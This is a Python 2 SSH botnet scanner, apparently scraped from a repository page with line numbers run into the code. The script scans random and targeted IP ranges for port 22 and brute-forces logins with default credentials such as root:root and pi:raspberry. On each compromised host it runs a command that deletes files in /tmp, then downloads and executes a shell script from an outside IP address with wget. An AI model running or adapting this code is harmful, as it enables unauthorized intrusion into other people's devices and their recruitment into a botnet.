Path: blob/master/Botnets/Scanning/AUTOSCANNER/Scan.py
5038 views
#!/usr/bin/env python1import threading, paramiko, random, socket, time, sys23paramiko.util.log_to_file("/dev/null")45blacklist = [6'127'7]89passwords = [10"root:root",11"root:admin",12"admin:admin",13"ubnt:ubnt"14"root:1234",15"admin:1234",16"guest:guest",17"user:user",18"test:test",19"pi:raspberry",20"vagrant:vagrant",21"admin:admin",22"admin:12345",23"12345:12345",24"admin:password",25"banana:pi",26"pi:banana",27"raspberry:pi",28"pi:raspberry",29"pi:pi"30]3132if sys.argv[4] == '1':33passwords = ["root:root", "root:1234", "root:admin", "admin:admin", "admin:12345", "12345:12345", "admin:password", "banana:pi", "pi:banana", "raspberry:pi", "pi:raspberry", "pi:pi"]34if sys.argv[4] == 'stable':35passwords = ["root:root"]36if sys.argv[4] == 'perl':37passwords = ["pi:raspberry", "raspberry:pi", "pi:raspberry", "root:root", "vagrant:vagrant" "banana:pi"]38jackmeoff = random.choice(["Scan for routers"])39raw_input('Press <ENTER> To '+jackmeoff)4041ipclassinfo = sys.argv[2]42if ipclassinfo == "A":43ip1 = sys.argv[3]44elif ipclassinfo == "B":45ip1 = sys.argv[3].split(".")[0]46ip2 = sys.argv[3].split(".")[1]47elif ipclassinfo == "C":48ips = sys.argv[3].split(".")49num=050for ip in ips:51num=num+152if num == 1:53ip1 = ip54elif num == 2:55ip2 = ip56elif num == 3:57ip3 = ip58class sshscanner(threading.Thread):59global passwords60global ipclassinfo61if ipclassinfo == "A":62global ip163elif ipclassinfo == "B":64global ip165global ip266elif ipclassinfo == "C":67global ip168global ip269global ip370def run(self):71while 1:72try:73while 1:74thisipisbad='no'75if ipclassinfo == "A":76self.host = ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))77elif ipclassinfo == "B":78self.host = ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))79elif ipclassinfo == "C":80self.host = ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))81elif ipclassinfo == "BRAZIL":82br = ["179.105","179.152","189.29","189.32","189.33","189.34","189.35","189.39","189.4","189.54","189.55","189.60","189.61","189.62","189.63","189.126"]83self.host = random.choice(br)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))84elif ipclassinfo == "SUPER":85yeet = ["102", "122","131","161","37","186","187","31","188","201","2","200"]86self.host = random.choice(yeet)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))87elif ipclassinfo == "LUCKY":88lucky = ["125.24","125.25","125.26","125.27","125.28","113.53","101.51","101.108","118.175","118.173","182.52","180.180"]89self.host = random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))90elif ipclassinfo == "LUCKY2":91lucky2 = [ "122.178","122.170","182.65","182.68","182.70","182.75","186.112","186.113","186.114","186.115","186.116","186.118" ]92self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))93elif ipclassinfo == "RAND":94self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))95elif ipclassinfo == "INTERNET":96lol = ["1"]97self.host = random.choice(lol)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))98else:99self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))100for badip in blacklist:101if badip in self.host:102thisipisbad='yes'103if thisipisbad=='no':104break105username='root'106password=""107port = 22108s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)109s.settimeout(3)110s.connect((self.host, port))111s.close()112ssh = paramiko.SSHClient()113ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())114dobreak=False115for passwd in passwords:116if ":n/a" in passwd:117password=""118else:119password=passwd.split(":")[1]120if "n/a:" in passwd:121username=""122else:123username=passwd.split(":")[0]124try:125ssh.connect(self.host, port = port, username=username, password=password, timeout=3)126dobreak=True127break128except:129pass130if True == dobreak:131break132badserver=True133stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")134output = stdout.read()135if "inet addr" in output:136badserver=False137if badserver == False:138print 'Found '+self.host+'|'+username+'|'+password+'|'+str(port)139ssh.exec_command("cd /tmp; rm *; wget http://208.67.1.73/gtop.sh ; chmod +x gtop.sh ; sh gtop.sh ; rm -f gtop.sh")140time.sleep(20)141ssh.close()142except:143pass144145for x in range(0,int(sys.argv[1])):146try:147t = sshscanner()148t.start()149except:150pass151152153